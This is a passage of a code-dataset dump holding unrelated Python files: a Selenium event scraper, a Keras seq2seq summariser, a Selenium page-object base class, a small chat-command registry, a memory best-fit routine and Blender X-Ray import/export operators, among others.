num_trainable","repo_name":"ben0it8/trans-MRI","sub_path":"trans_mri/models/model_utils.py","file_name":"model_utils.py","file_ext":"py","file_size_in_byte":1139,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"7269417525","text":"from selenium.webdriver.common.by import By\n\nfrom utils import BaseScraper, get_current_year, greater_than_today, is_date\n\n\nclass PaintBarBlr(BaseScraper):\n def __init__(self, url):\n super(PaintBarBlr, self).__init__(url, [])\n\n def get_events(self):\n divs = self.driver.execute_script(\n \"return document.getElementsByClassName(\\\"o-layout__item u-1/2 u-1/2@phab u-1/3@tab\\\")\")\n\n for div in divs:\n div = div.find_element(\n by=By.CLASS_NAME, value=\"product-card__details\")\n\n anchor = div.find_element(by=By.TAG_NAME, value=\"a\")\n event_link = anchor.get_attribute(\"href\")\n\n h2 = anchor.find_element(by=By.TAG_NAME, value=\"h2\")\n\n if \"|\" not in h2.text:\n continue\n\n text = h2.text.split(\"|\")\n\n if is_date(text[0]):\n event_name = text[1].strip()\n event_date = text[0].split(\", \")[1]\n else:\n event_name = text[0].strip()\n event_date = text[1].split(\", \")[1]\n\n current_year = get_current_year()\n\n if str(current_year) not in event_date:\n event_date = event_date + f\" {get_current_year()}\"\n\n if not greater_than_today(event_date):\n continue\n\n e = {\n \"name\": event_name,\n \"date\": event_date,\n \"link\": event_link\n }\n\n if e not in self.events:\n self.events.append(e)\n\n self.num_events = len(self.events)\n\n print(f\"Found {self.num_events} offline events in Bengaluru\")\n","repo_name":"XanderWatson/scrape-my-show","sub_path":"scrapers/paintbarblr.py","file_name":"paintbarblr.py","file_ext":"py","file_size_in_byte":1641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"35838885393","text":"WIN_W,WIN_H = 1280, 720\n\nFPS = 60\n\ntile_size = 100\nlayers = {\n \"bg\":0,\n \"bottom_floor\":1,\n \"top_floor\":2,\n \"particles\":3,\n \"main\":4,\n \"overlap\":5\n}\n\nControlsText = \"\" \\\n \"A mysterious creature appeared on your door and is now hunting you down\\n\" \\\n \"you must run to the end to obtain a weapon and fight back\\n\" \\\n \"Controls:\\n\" \\\n \"\\n\" \\\n \"WASD: Move\\n\" \\\n \"r: reset level\\n\" \\\n \"left_alt: fullscreen\\n:\" \\\n \"\\n\" \\\n \"When gun is obtained:\\n\" \\\n \"\\n\" \\\n \"mouse: look_around / aim\\n\" \\\n \"left_click: shoot \\n\" \\\n \"\\n\" \\\n \"PRESS SPACE TO CONTINUE\\n\"\n\nsfx_dir = \"GameFiles/Audio/SFX/\"\nsfx = {\n \"BOSSShoot\": f\"{sfx_dir}BOSSShoot.wav\",\n \"PlrShoot\": f\"{sfx_dir}PlrShoot.wav\",\n \"NextLevel\": f\"{sfx_dir}NextLevel.wav\",\n \"BOSSAppear\": f\"{sfx_dir}BOSSAppear.wav\",\n \"Hurt\": f\"{sfx_dir}Hurt.wav\",\n \"Wrong\": f\"{sfx_dir}Wrong.wav\",\n \"Correct\": f\"{sfx_dir}Correct.wav\",\n \"Jumpscare\": f\"{sfx_dir}Jumpscare.wav\",\n\n\n}","repo_name":"MegaFuze/A-Sweet-Catastrophe","sub_path":"GameFiles/Code/Settings.py","file_name":"Settings.py","file_ext":"py","file_size_in_byte":1137,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32786426727","text":"import matplotlib\nmatplotlib.use(\"Agg\")\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set(style=\"white\", font=\"Arial\")\ncolors = sns.color_palette(\"Paired\", n_colors=12).as_hex()\n\nimport numpy as np\nimport torch\n\nfrom gmm import GaussianMixture\nfrom math import sqrt\n\n\ndef main():\n n, d = 300, 2\n\n # generate some data points ..\n data = torch.Tensor(n, d).normal_()\n # .. and shift them around to non-standard Gaussians\n data[:n//2] -= 1\n data[:n//2] *= sqrt(3)\n data[n//2:] += 1\n data[n//2:] *= sqrt(2)\n\n # Next, the Gaussian mixture is instantiated and ..\n n_components = 2\n model = GaussianMixture(n_components, d)\n model.fit(data)\n # .. used to predict the data points as they where shifted\n y = model.predict(data)\n\n plot(data, y)\n\n\ndef plot(data, y):\n n = y.shape[0]\n\n fig, ax = plt.subplots(1, 1, figsize=(1.61803398875*4, 4))\n ax.set_facecolor(\"#bbbbbb\")\n ax.set_xlabel(\"Dimension 1\")\n ax.set_ylabel(\"Dimension 2\")\n\n # plot the locations of all data points ..\n for i, point in enumerate(data.data):\n if i <= n//2:\n # .. separating them by ground truth ..\n ax.scatter(*point, color=\"#000000\", s=3, alpha=.75, zorder=n+i)\n else:\n ax.scatter(*point, color=\"#ffffff\", s=3, alpha=.75, zorder=n+i)\n\n if y[i] == 0:\n # .. as well as their predicted class\n ax.scatter(*point, zorder=i, color=\"#dbe9ff\", alpha=.6, edgecolors=colors[1])\n else:\n ax.scatter(*point, zorder=i, color=\"#ffdbdb\", alpha=.6, edgecolors=colors[5])\n\n handles = [plt.Line2D([0], [0], color=\"w\", lw=4, label=\"Ground Truth 1\"),\n plt.Line2D([0], [0], color=\"black\", lw=4, label=\"Ground Truth 2\"),\n plt.Line2D([0], [0], color=colors[1], lw=4, label=\"Predicted 1\"),\n plt.Line2D([0], [0], color=colors[5], lw=4, label=\"Predicted 2\")]\n\n legend = ax.legend(loc=\"best\", handles=handles)\n\n plt.tight_layout()\n plt.savefig(\"example.pdf\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Minqi824/ADBench","sub_path":"adbench/other_utils/gmm/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":2041,"program_lang":"python","lang":"en","doc_type":"code","stars":687,"dataset":"github-code","pt":"75"} +{"seq_id":"71231646003","text":"\"\"\"Returns true if the reconciled balance at the begin date of this bank reconciliation\nmatches the previous account balance.\n\"\"\"\nprecision = 3\nif context.getSourcePayment():\n precision = context.getQuantityPrecisionFromResource(\n context.getSourcePaymentValue().getPriceCurrency())\n\n\nreturn round(context.getQuantityRangeMin(), precision) \\\n == round(context.BankReconciliation_getReconciledAccountBalance(\n at_date=context.getStartDate().latestTime()), precision)\n","repo_name":"Nexedi/erp5","sub_path":"bt5/erp5_bank_reconciliation/SkinTemplateItem/portal_skins/erp5_bank_reconciliation/BankReconciliation_checkPreviousBalance.py","file_name":"BankReconciliation_checkPreviousBalance.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":171,"dataset":"github-code","pt":"75"} +{"seq_id":"517595683","text":"# -*- coding: utf-8 -*-\r\n\"\"\"package module qacode.core.webs.pages.page_base\"\"\"\r\n\r\n\r\nfrom qacode.core.exceptions.control_exception import ControlException\r\nfrom qacode.core.exceptions.core_exception import CoreException\r\nfrom qacode.core.exceptions.page_exception import PageException\r\nfrom qacode.core.webs.controls.control_base import ControlBase\r\n\r\nfrom selenium.webdriver.common.by import By\r\n\r\n\r\nclass PageBase(object):\r\n \"\"\"\r\n Base class for all Inehrit Page classes wich need selenium functionality\r\n througth qacode bot\r\n \"\"\"\r\n\r\n bot = None\r\n log = None\r\n settings = None\r\n\r\n def __init__(self, bot, **kwargs):\r\n \"\"\"Instance of PageBase class\r\n\r\n Arguments:\r\n bot {BotBase} -- BotBase or inherit class instance\r\n\r\n Keyword Arguments:\r\n url {str} -- string for url of page\r\n locator {BY} -- strategy used to search all selectors\r\n passed, default value it's locator.CSS_SELECTOR\r\n (default: {BY.CSS_SELECTOR})\r\n go_url {bool} -- navigate to 'self.url' at instance\r\n (default: {False})\r\n wait_url {int} -- seconds to wait for 'self.url' load\r\n at instance (default: {0})\r\n maximize {bool} -- allow to maximize browser window\r\n before to load elements at instance (default: {False})\r\n controls {list(dict)} -- list of dicts with settings for each\r\n control which want to load\r\n\r\n Raises:\r\n PageException -- if required param 'bot' is None\r\n PageException -- if required param 'url' is None or empty str\r\n \"\"\"\r\n if not bot:\r\n raise PageException(\"param bot is None\")\r\n self.bot = bot\r\n if not isinstance(kwargs, dict):\r\n raise PageException('Optional params must be a dict')\r\n self.settings = kwargs\r\n if not self.settings.get('url'):\r\n raise PageException(\r\n 'Param url can\\'t be None, just empty string')\r\n if not self.settings.get('locator'):\r\n self.settings.update({'locator': By.CSS_SELECTOR})\r\n if not self.settings.get('go_url'):\r\n self.settings.update({'go_url': False})\r\n if not self.settings.get('wait_url'):\r\n self.settings.update({'wait_url': 0})\r\n if not self.settings.get('maximize'):\r\n self.settings.update({'maximize': False})\r\n if not self.settings.get('controls'):\r\n self.settings.update({'controls': []})\r\n self._load()\r\n\r\n def _load(self, settings=None):\r\n \"\"\"Loads page elements and maximize browser window\"\"\"\r\n # TODO: tests passed ?\r\n self.log = self.bot.log\r\n if not settings:\r\n settings = self.settings\r\n if settings.get('url'):\r\n self.url = settings.get('url')\r\n if settings.get('go_url'):\r\n self.go_url()\r\n if settings.get('maximize'):\r\n self.log.debug('page action: maximizing browser window')\r\n self.bot.navigation.get_maximize_window()\r\n if not settings.get('controls'):\r\n self.log.debug(\r\n 'page action: empty list of controls for this page')\r\n return\r\n for cfg_control in settings.get('controls'):\r\n self.log.debug(\r\n (\"page action: Loading element \"\r\n \"as property name='{}'\").format(cfg_control.get('name')))\r\n # load default value\r\n control = ControlBase(self.bot, **cfg_control)\r\n cfg_control.update({'instance': control})\r\n self._set_control(cfg_control)\r\n\r\n def _set_control(self, cfg_control):\r\n \"\"\"Set control as property of PageBase instance\r\n\r\n Arguments:\r\n cfg_control {dict} -- config dictionary for manage WebElement\r\n\r\n Raises:\r\n PageException -- if param cfg_control is None\r\n \"\"\"\r\n if not cfg_control:\r\n raise PageException('cfg_control can not be None')\r\n setattr(\r\n self,\r\n cfg_control.get('name'),\r\n cfg_control.get('instance'))\r\n\r\n def get_element(self, config_control):\r\n \"\"\"Search element on Bot instance\r\n\r\n Arguments:\r\n config_controls {dict} -- base dict for ControlBase class\r\n\r\n Returns:\r\n ControlBase -- an element to be use\r\n throught selenium\r\n \"\"\"\r\n return self.get_elements([config_control])[0]\r\n\r\n def get_elements(self, config_controls):\r\n \"\"\"Search element on Bot instance, choose selector\r\n from instance or locator param\r\n\r\n Arguments:\r\n config_controls {dict} -- base dict for ControlBase class\r\n\r\n Returns:\r\n list(ControlBase) -- an element to be use as wrapper\r\n for selenium functionality\r\n \"\"\"\r\n msg_notfound = \"Page element not found: \"\r\n \"url={}, selector={}\"\r\n controls = []\r\n for config_control in config_controls:\r\n instance = config_control.get(\"instance\")\r\n control = None\r\n try:\r\n control_types = (ControlBase,)\r\n if isinstance(instance, control_types):\r\n controls.append(control)\r\n else:\r\n raise PageException(\r\n \"Bad instance name for control\")\r\n except (ControlException, Exception) as err:\r\n if not isinstance(err, ControlException):\r\n raise Exception(err)\r\n self.log.debug(msg_notfound.format(\r\n self.url,\r\n config_control.get('selector')))\r\n return controls\r\n\r\n def go_url(self, url=None, wait_for_load=0):\r\n \"\"\"Go to url, choose url from instance or locator params\r\n\r\n Keyword Arguments:\r\n url {str} -- string of FQDN, if None, load value from settings\r\n (default: {self.settings.get('url')})\r\n wait_for_load {int} -- [description] (default: {0})\r\n \"\"\"\r\n if url is None:\r\n url = self.settings.get('url')\r\n self.log.debug('page action: navigate to url={}'.format(url))\r\n self.bot.navigation.get_url(url, wait_for_load=wait_for_load)\r\n\r\n def is_url(self, url=None, ignore_raises=True):\r\n \"\"\"Allows to check if current selenium visible url it's the same\r\n what self.url value\r\n\r\n :Attributes:\r\n url: default page url but can be string\r\n value used to verify url\r\n ignore_raises: not raise exceptions if enabled\r\n \"\"\"\r\n if url is None:\r\n url = self.settings.get('url')\r\n try:\r\n return self.bot.navigation.is_url(url, ignore_raises=ignore_raises)\r\n except CoreException as err:\r\n raise PageException(err, \"'Current url' is not 'page url'\")\r\n\r\n def __repr__(self):\r\n \"\"\"Show basic properties for this object\"\"\"\r\n return 'PageBase: url={}, bot.browser={}, bot.mode={}'.format(\r\n self.settings.get('url'),\r\n self.bot.settings.get('browser'),\r\n self.bot.settings.get('mode'))\r\n","repo_name":"netzulo/qacode","sub_path":"qacode/core/webs/pages/page_base.py","file_name":"page_base.py","file_ext":"py","file_size_in_byte":7239,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"30204551353","text":"from keras.models import Model\nfrom keras.layers import Input, LSTM, Dense\nfrom keras.layers.embeddings import Embedding\nfrom keras.models import Sequential\nfrom keras.optimizers import Adam\nfrom keras.callbacks import ModelCheckpoint\n\nimport nltk\nfrom nltk.tokenize import sent_tokenize, word_tokenize\n\nfrom ml_component import Ml_component\n\n\nclass Model(Ml_component):\n \n def __init__(self):\n \n processed_data_path = '../../data/model_info/processed_compressed_data_supervised.pkl'\n self.load_data(processed_data_path)\n \n # this corresponds to our first model, the model we use to train\n def model(self, mode = 'predict', verbose = False):\n\n # Define an input sequence and process it.\n encoder_inputs = Input(shape=(None,), name='Raw_Encoder_Input') # (None, max_encoder_seq_length ,1)\n\n x1 = Embedding(len(list(self.word2idx_en)),\n self.embedding_dim_en,\n weights=[self.embedding_en],\n input_length=None,\n trainable=False, name='First_Embedding')(encoder_inputs) # input_length=max_encoder_seq_length\n print(\"shape of the encoder embedding\", x1.shape)\n\n # encoder =LSTM(self.latent_dim,return_state=True, name= 'Encoder_LSTM')\n # encoder_outputs,state_h,state_c=encoder(x1)\n\n encoder = Bidirectional(LSTM(self.latent_dim, return_state=True, name='Encoder_LSTM'), merge_mode='concat')\n\n encoder_outputs, state_h_down, state_c_down, state_h_upper, state_c_upper = encoder(x1)\n state_c = keras.layers.concatenate([state_h_down, state_h_upper], axis=-1)\n state_h = keras.layers.concatenate([state_c_down, state_c_upper], axis=-1)\n\n encoder_states = [state_h, state_c]\n # ---------------------------------------------------------------------------------------------------------------#\n # Set up the decoder, using `self.encoder_states` as initial state.\n decoder_inputs = Input(shape=(None,), name='Raw_Decoder_Input')\n\n x2 = Embedding(len(list(self.word2idx_en)),\n self.embedding_dim_en,\n weights=[self.embedding_en],\n input_length=None,\n trainable=False, name='Second_Embedding') # input_length=max_decoder_seq_length\n out_x2 = x2(decoder_inputs)\n # print(\"shape of the decoder embedding\",out_x2.shape)\n\n decoder_lstm = LSTM(self.latent_dim * 2, return_sequences=True, return_state=True, name='Decoder_LSTM')\n\n # We set up our decoder to return full output sequences,\n # and to return internal states as well. We don't use the\n # return states in the training model, but we will use them in inference.\n decoder_outputs, _, _ = decoder_lstm(out_x2, initial_state=encoder_states)\n\n decoder_dense = Dense(len(list(self.word2idx_en)), activation='softmax', name='Dense_Layer')\n decoder_outputs = decoder_dense(decoder_outputs)\n # ---------------------------------------------------------------------------------------------------------------#\n if mode == 'train':\n # Define the model that will turn\n # `encoder_input_data` & `decoder_input_data` into `decoder_target_data`\n self.model = Model([encoder_inputs, decoder_inputs], decoder_outputs)\n # ---------------------------------------------------------------------------------------------------------------#\n # We have a different model to predict\n elif mode == 'predict':\n self.encoder_model = Model(inputs=encoder_inputs, outputs=encoder_states)\n\n decoder_state_input_h = Input(shape=(2 * self.latent_dim,))\n decoder_state_input_c = Input(shape=(2 * self.latent_dim,))\n decoder_states_inputs = [decoder_state_input_h, decoder_state_input_c]\n\n out_x2_ = self.x2(self.decoder_inputs)\n\n decoder_outputs, state_h, state_c = decoder_lstm(\n out_x2, initial_state=decoder_states_inputs) # decoder_inputs instead of x2\n\n decoder_states = [state_h, state_c]\n decoder_outputs = decoder_dense(decoder_outputs)\n\n self.decoder_model = Model(\n [decoder_inputs] + decoder_states_inputs,\n [decoder_outputs] + decoder_states)\n\n # ---------------------------------------------------------------------------------------------------------------#\n if verbose:\n self.model.summary()\n\n def load_weights(self,weights_folder = './weights_supervised', weights_file = '/weights-supervised.hdf5'):\n # load weights into new model\n self.model.load_weights(weights_folder + weights_file)\n print(\"Loaded model from disk\")\n\n def train(self, weights_folder = './weights_supervised'):\n\n # Compile & run training\n # model.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=['accuracy'])\n self.model.compile(optimizer=Adam(lr=self.learning_rate, decay=self.learning_rate_decay), loss='categorical_crossentropy',\n metrics=['accuracy'])\n # ---------------------------------------------------------------------------------------------------------------#\n # Note that `decoder_target_data` needs to be one-hot encoded,\n # rather than sequences of integers like `decoder_input_data`!\n\n # define the checkpoint\n filepath = weights_folder + \"/abstractor-weights-improvement-{epoch:02d}-{loss:.4f}.hdf5\"\n checkpoint = ModelCheckpoint(filepath, monitor='loss', verbose=1, save_best_only=True, mode='min')\n callbacks_list = [checkpoint]\n\n current_index = 0\n for epoch in range(0, self.epochs):\n encoder_input_data, decoder_input_data, decoder_target_data, current_index = self.get_input_and_target(self.input_texts,\n self.target_texts,\n self.max_encoder_seq_length,\n self.max_decoder_seq_length,\n self.word2idx_en,\n current_index,\n self.buffer_size)\n\n print(\"#------------------------------- EPOCH #\", epoch * 3, \"-----------------------------------#\")\n self.model.fit([encoder_input_data, decoder_input_data], decoder_target_data,\n batch_size=self.batch_size,\n epochs=3,\n validation_split=0.2, callbacks=callbacks_list)\n\n\n # this method splits the input and the targets so that they can fit in memory\n def get_input_and_target(self, input_texts, target_texts, max_encoder_seq_length, max_decoder_seq_length, word2idx_en,\n current_index, batch_size):\n if current_index >= len(input_texts) - 1:\n current_index = 0\n if batch_size + current_index > len(input_texts) - 1:\n current_batch_length = len(input_texts) - current_index\n else:\n current_batch_length = batch_size - 1\n\n encoder_input_data = np.zeros(\n (current_batch_length, max_encoder_seq_length),\n dtype='float32')\n decoder_input_data = np.zeros(\n (current_batch_length, max_decoder_seq_length),\n dtype='float32')\n decoder_target_data = np.zeros(\n (current_batch_length, max_decoder_seq_length, len(list(word2idx_en))),\n dtype='float32')\n\n current_loop_index = 0\n for (input_text, target_text) in zip(input_texts[current_index:current_index + current_batch_length],\n target_texts[current_index:current_index + current_batch_length]):\n\n for t, word in enumerate(input_text):\n if word not in word2idx_en:\n word = 'unknown'\n\n encoder_input_data[current_loop_index, t] = word2idx_en[word]\n\n for t, word in enumerate(target_text):\n if word not in word2idx_en:\n word = 'unknown'\n # decoder_target_data is ahead of decoder_input_data by one timestep\n decoder_input_data[current_loop_index, t] = word2idx_en[word]\n\n if t > 0:\n # decoder_target_data will be ahead by one timestep\n # and will not include the start character.\n decoder_target_data[current_loop_index, t - 1, word2idx_en[word]] = 1.\n current_loop_index += 1\n current_index = current_loop_index + current_index\n\n return encoder_input_data, decoder_input_data, decoder_target_data, current_index\n\n\n\n\n","repo_name":"ficapal18/anemone","sub_path":"src/abstractor/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":9199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9146636708","text":"from odoo import models, fields, api\n\n\nclass SaleOrder(models.Model):\n _inherit = 'sale.order'\n \n birthdate = fields.Date(string='Birth Date')\n \n @api.onchange('partner_id')\n def birth_date_sale_order(self):\n if self.partner_id:\n self.birthdate = self.partner_id.birth_date\n","repo_name":"satyaranjan-dash/Odoo","sub_path":"partner_age_calc/models/sale_order.py","file_name":"sale_order.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"38122560816","text":"import sys, os, time\n\ncommands = {}\n\ndef cmd(c):\n def deco(func):\n if c not in commands.keys():\n commands[c] = func\n return func\n raise Exception('Duplicate command!')\n return deco\n\n@cmd('echo')\ndef echo_cmd(c, g):\n\tif c[1].startswith('$'):\n\t\tif g.var.has(c[1][1:]):\n\t\t\tg.addMsg('%s: %s' % (c[1][1:], g.var.get(c[1][1:]).value))\n\telse:\n\t\tg.addMsg(' '.join(c[1:]))\n\n@cmd('set')\ndef echo_cmd(c, g):\n\tif len(c) >= 3:\n\t\tif c[1].startswith('$'): c[1] = c[1][1:]\n\t\tif g.var.has(c[1]):\n\t\t\tif g.var.get(c[1]).canWrite:\n\t\t\t\tif len(c) == 3 and c[2].isdigit(): v = int(c[2])\n\t\t\t\telse: v = ' '.join(c[2:])\n\t\t\t\tg.var.get(c[1]).value = v\n\t\t\t\tg.addMsg('Var %s set to %s' % (c[1], v))\n\t\t\telse:\n\t\t\t\tg.addMsg('Var %s is unwriteable!' % c[1])\n\t\telse:\n\t\t\tg.addMsg('No such var %s' % c[1])\n\n@cmd('quit')\ndef quit_cmd(c, g):\n\tg.quit()\n\n@cmd('ping')\ndef ping_cmd(c, g):\n\tdef resp(packet):\n\t\trt = st-packet['data']\n\t\tg.addMsg('Ping: %s' % rt)\n\t\tdel g.conn.actions['PONG']\n\tst = time.time()\n\tg.conn.actions['_PONG'] = resp\n\tg.conn.write({'action':'PING', 'respkey':'_PONG'})\n","repo_name":"b1naryth1ef/Bunneh","sub_path":"client/commands.py","file_name":"commands.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"21773513006","text":"def best_fit(block_size,x,process_size,y):\n allocate=[-1]*y\n\n for i in range(y):\n indicator=-1\n for j in range(x):\n if block_size[j]>=process_size[i]:\n if indicator == -1:\n indicator=j\n elif block_size[j] 1\n if enabled:\n text = 'Filter Motions: '\n count = len([m for m in motions if m.flag])\n if count == len(motions):\n text += 'All (%d)' % count\n else:\n text += str(count)\n _, box = collapsible.draw(\n layout,\n self.bl_idname,\n text,\n enabled=enabled,\n icon='FILTER' if count < 100 else 'ERROR',\n style='nobox',\n )\n if box:\n col = box.column(align=True)\n BaseSelectMotionsOp.set_motions_list(None)\n col.template_list(\n '_MotionsList', '',\n self, 'motions',\n context.scene.xray.import_skls, 'motion_index',\n )\n row = col.row(align=True)\n BaseSelectMotionsOp.set_data(self)\n row.operator(_SelectMotionsOp.bl_idname, icon='CHECKBOX_HLT')\n row.operator(_DeselectMotionsOp.bl_idname, icon='CHECKBOX_DEHLT')\n row.operator(_DeselectDuplicatedMotionsOp.bl_idname, icon='COPY_ID')\n\n def _get_motions(self):\n items = self.motions\n if len(self.files) == 1:\n fpath = os.path.join(self.directory, self.files[0].name)\n if self.__parsed_file_name != fpath:\n items.clear()\n for name in self._examine_file(fpath):\n items.add().name = name\n self.__parsed_file_name = fpath\n else:\n items.clear()\n return items\n\n @staticmethod\n def _examine_file(fpath):\n if fpath.lower().endswith('.skls'):\n from .xray_motions import examine_motions\n with open(fpath, 'rb') as file:\n return examine_motions(file.read())\n return tuple()\n\n @execute_with_logger\n def execute(self, context):\n if not self.files:\n self.report({'ERROR'}, 'No files selected')\n return {'CANCELLED'}\n from .fmt_skl_imp import import_skl_file, import_skls_file, ImportContext\n motions_filter = MOTIONS_FILTER_ALL\n if self.motions:\n selected_names = set(m.name for m in self.motions if m.flag)\n motions_filter = lambda name: name in selected_names\n import_context = ImportContext(\n armature=context.active_object,\n motions_filter=motions_filter,\n )\n for file in self.files:\n ext = os.path.splitext(file.name)[-1].lower()\n fpath = os.path.join(self.directory, file.name)\n if ext == '.skl':\n import_skl_file(fpath, import_context)\n elif ext == '.skls':\n import_skls_file(fpath, import_context)\n else:\n self.report({'ERROR'}, 'Format of {} not recognised'.format(file))\n return {'FINISHED'}\n\n @invoke_require_armature\n def invoke(self, context, event):\n return super().invoke(context, event)\n\n\ndef execute_require_filepath(func):\n def wrapper(self, context):\n if not self.filepath:\n self.report({'ERROR'}, 'No file selected')\n return {'CANCELLED'}\n return func(self, context)\n\n return wrapper\n\n\nclass ModelExportHelper:\n selection_only: bpy.props.BoolProperty(\n name='Selection Only',\n description='Export only selected objects'\n )\n\n def export(self, bpy_obj, context):\n pass\n\n @execute_with_logger\n @execute_require_filepath\n def execute(self, context):\n objs = context.selected_objects if self.selection_only else context.scene.objects\n roots = [obj for obj in objs if obj.xray.isroot]\n if not roots:\n self.report({'ERROR'}, 'Cannot find object root')\n return {'CANCELLED'}\n if len(roots) > 1:\n self.report({'ERROR'}, 'Too many object roots found')\n return {'CANCELLED'}\n return self.export(roots[0], context)\n\n\ndef find_objects_for_export(context):\n processed = set()\n roots = []\n for obj in context.selected_objects:\n while obj:\n if obj in processed:\n break\n processed.add(obj)\n if obj.xray.isroot:\n roots.append(obj)\n break\n obj = obj.parent\n if not roots:\n roots = [obj for obj in context.scene.objects if obj.xray.isroot]\n if not roots:\n raise AppError('No \\'root\\'-objects found')\n if len(roots) > 1:\n raise AppError('Too many \\'root\\'-objects found, but none selected')\n return roots\n\n\ndef _mk_export_context(texname_from_path, fmt_version=None, export_motions=True):\n from .fmt_object_exp import ExportContext\n return ExportContext(\n textures_folder=plugin_prefs.get_preferences().textures_folder,\n export_motions=export_motions,\n soc_sgroups=None if fmt_version is None else (fmt_version == 'soc'),\n texname_from_path=texname_from_path\n )\n\n\nclass _WithExportMotions:\n export_motions: plugin_prefs.PropObjectMotionsExport()\n\n\n\nclass OpExportObjects(TestReadyOperator, _WithExportMotions):\n bl_idname = 'export_object.xray_objects'\n bl_label = 'Export selected .object-s'\n\n objects: bpy.props.StringProperty(options={'HIDDEN'})\n\n directory: bpy.props.StringProperty(subtype=\"FILE_PATH\")\n\n texture_name_from_image_path: plugin_prefs.PropObjectTextureNamesFromPath()\n\n fmt_version: plugin_prefs.PropSDKVersion()\n\n use_export_paths: plugin_prefs.PropUseExportPaths()\n\n def draw(self, _context):\n layout = self.layout\n\n row = layout.split()\n row.label(text='Format Version:')\n row.row().prop(self, 'fmt_version', expand=True)\n\n layout.prop(self, 'use_export_paths')\n layout.prop(self, 'export_motions')\n layout.prop(self, 'texture_name_from_image_path')\n\n @execute_with_logger\n def execute(self, context):\n from .fmt_object_exp import export_file\n export_context = _mk_export_context(\n self.texture_name_from_image_path, self.fmt_version, self.export_motions\n )\n try:\n for name in self.objects.split(','):\n obj = context.scene.objects[name]\n if not name.lower().endswith('.object'):\n name += '.object'\n path = self.directory\n if self.use_export_paths and obj.xray.export_path:\n path = os.path.join(path, obj.xray.export_path)\n os.makedirs(path, exist_ok=True)\n export_file(obj, os.path.join(path, name), export_context)\n except AppError as err:\n raise err\n return {'FINISHED'}\n\n def invoke(self, context, _event):\n prefs = plugin_prefs.get_preferences()\n roots = None\n try:\n roots = find_objects_for_export(context)\n except AppError as err:\n self.report({'ERROR'}, str(err))\n return {'CANCELLED'}\n if len(roots) == 1:\n return bpy.ops.xray_export.object('INVOKE_DEFAULT')\n self.objects = ','.join([o.name for o in roots])\n self.fmt_version = prefs.sdk_version\n self.export_motions = prefs.object_motions_export\n self.texture_name_from_image_path = prefs.object_texture_names_from_path\n context.window_manager.fileselect_add(self)\n return {'RUNNING_MODAL'}\n\n\n\nclass OpExportObject(TestReadyOperator, io_utils.ExportHelper, _WithExportMotions):\n bl_idname = 'xray_export.object'\n bl_label = 'Export .object'\n\n object: bpy.props.StringProperty(options={'HIDDEN'})\n\n filename_ext = '.object'\n filter_glob: bpy.props.StringProperty(default='*' + filename_ext, options={'HIDDEN'})\n\n texture_name_from_image_path: plugin_prefs.PropObjectTextureNamesFromPath()\n\n fmt_version: plugin_prefs.PropSDKVersion()\n\n def draw(self, _context):\n layout = self.layout\n\n row = layout.split()\n row.label(text='Format Version:')\n row.row().prop(self, 'fmt_version', expand=True)\n\n layout.prop(self, 'export_motions')\n layout.prop(self, 'texture_name_from_image_path')\n\n @execute_with_logger\n def execute(self, context):\n from .fmt_object_exp import export_file\n export_context = _mk_export_context(\n self.texture_name_from_image_path, self.fmt_version, self.export_motions\n )\n try:\n export_file(context.scene.objects[self.object], self.filepath, export_context)\n except AppError as err:\n raise err\n return {'FINISHED'}\n\n def invoke(self, context, event):\n prefs = plugin_prefs.get_preferences()\n roots = None\n try:\n roots = find_objects_for_export(context)\n except AppError as err:\n self.report({'ERROR'}, str(err))\n return {'CANCELLED'}\n if len(roots) > 1:\n self.report({'ERROR'}, 'Too many \\'root\\'-objects selected')\n return {'CANCELLED'}\n self.object = roots[0].name\n self.filepath = self.object\n if not self.filepath.lower().endswith(self.filename_ext):\n self.filepath += self.filename_ext\n self.fmt_version = prefs.sdk_version\n self.export_motions = prefs.object_motions_export\n self.texture_name_from_image_path = prefs.object_texture_names_from_path\n return super().invoke(context, event)\n\n\n\nclass OpExportOgf(bpy.types.Operator, io_utils.ExportHelper, ModelExportHelper):\n bl_idname = 'xray_export.ogf'\n bl_label = 'Export .ogf'\n\n filename_ext = '.ogf'\n filter_glob: bpy.props.StringProperty(default='*' + filename_ext, options={'HIDDEN'})\n\n texture_name_from_image_path: plugin_prefs.PropObjectTextureNamesFromPath()\n\n def export(self, bpy_obj, context):\n from .fmt_ogf_exp import export_file\n export_context = _mk_export_context(self.texture_name_from_image_path)\n export_file(bpy_obj, self.filepath, export_context)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n prefs = plugin_prefs.get_preferences()\n self.texture_name_from_image_path = prefs.object_texture_names_from_path\n return super().invoke(context, event)\n\n\nclass FilenameExtHelper(io_utils.ExportHelper):\n def export(self, context):\n pass\n\n @execute_with_logger\n @execute_require_filepath\n def execute(self, context):\n self.export(context)\n return {'FINISHED'}\n\n def invoke(self, context, event):\n self.filepath = context.active_object.name\n if not self.filepath.lower().endswith(self.filename_ext):\n self.filepath += self.filename_ext\n return super().invoke(context, event)\n\n\n\nclass OpExportAnm(bpy.types.Operator, FilenameExtHelper):\n bl_idname = 'xray_export.anm'\n bl_label = 'Export .anm'\n bl_description = 'Exports X-Ray animation'\n\n filename_ext = '.anm'\n filter_glob: bpy.props.StringProperty(default='*' + filename_ext, options={'HIDDEN'})\n\n def export(self, context):\n from .fmt_anm_exp import export_file\n export_file(context.active_object, self.filepath)\n\n\n\nclass OpExportSkl(bpy.types.Operator, io_utils.ExportHelper):\n bl_idname = 